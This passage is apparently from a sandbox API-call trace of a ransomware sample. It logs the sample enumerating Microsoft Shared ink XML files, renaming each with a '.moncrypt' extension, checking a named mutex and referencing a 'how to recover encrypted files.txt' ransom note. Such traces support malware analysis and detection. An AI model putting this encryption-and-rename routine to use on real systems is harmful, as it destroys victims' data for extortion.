| out: lpMultiByteStr="_ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.380] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\base_altgr.xml ", lpUsedDefaultChar=0x0) returned 4 [0046.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 0x54e280 [0046.380] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.381] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.381] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", dwFileAttributes=0x20) returned 0 [0046.385] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.moncrypt")) returned 0 [0046.386] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.386] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.386] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.386] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.386] GlobalUnlock (hMem=0x44000c) returned 0 [0046.386] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.386] GlobalLock (hMem=0x440004) returned 0x555198 [0046.386] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.386] GlobalUnlock (hMem=0x44000c) returned 0 [0046.386] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.386] GlobalUnlock (hMem=0x440004) returned 0 [0046.386] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.386] CharLowerBuffW (in: lpsz="base_ca.xml", cchLength=0xb | out: lpsz="base_ca.xml") returned 0xb [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.386] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.387] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\base_ca.xml", lpUsedDefaultChar=0x0) returned 4 [0046.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 0x54e280 [0046.387] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.387] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.387] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", dwFileAttributes=0x20) returned 0 [0046.387] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.moncrypt")) returned 0 [0046.388] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.388] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.388] GlobalLock (hMem=0x440004) returned 0x553188 [0046.388] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.388] GlobalUnlock (hMem=0x440004) returned 0 [0046.388] GlobalLock (hMem=0x440004) returned 0x553188 [0046.388] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.388] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.388] GlobalUnlock (hMem=0x440004) returned 0 [0046.388] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.388] GlobalUnlock (hMem=0x44000c) returned 0 [0046.388] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.388] CharLowerBuffW (in: lpsz="base_heb.xml", cchLength=0xc | out: lpsz="base_heb.xml") returned 0xc [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.388] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\base_heb.xmld", lpUsedDefaultChar=0x0) returned 4 [0046.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 0x54e280 [0046.389] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.389] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.389] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", dwFileAttributes=0x20) returned 0 [0046.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.moncrypt")) returned 0 [0046.585] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.585] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.585] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.585] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.585] GlobalUnlock (hMem=0x44000c) returned 0 [0046.585] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.585] GlobalLock (hMem=0x440004) returned 0x555198 [0046.586] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.586] GlobalUnlock (hMem=0x44000c) returned 0 [0046.586] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.586] GlobalUnlock (hMem=0x440004) returned 0 [0046.586] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.586] CharLowerBuffW (in: lpsz="base_jpn.xml", cchLength=0xc | out: lpsz="base_jpn.xml") returned 0xc [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.586] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\base_jpn.xmld", lpUsedDefaultChar=0x0) returned 4 [0046.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 0x54e280 [0046.586] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.586] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.586] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", dwFileAttributes=0x20) returned 0 [0046.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.moncrypt")) returned 0 [0046.587] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.587] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.587] GlobalLock (hMem=0x440004) returned 0x553188 [0046.587] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.587] GlobalUnlock (hMem=0x440004) returned 0 [0046.587] GlobalLock (hMem=0x440004) returned 0x553188 [0046.587] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.587] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.587] GlobalUnlock (hMem=0x440004) returned 0 [0046.587] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.587] GlobalUnlock (hMem=0x44000c) returned 0 [0046.588] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.588] CharLowerBuffW (in: lpsz="base_kor.xml", cchLength=0xc | out: lpsz="base_kor.xml") returned 0xc [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", 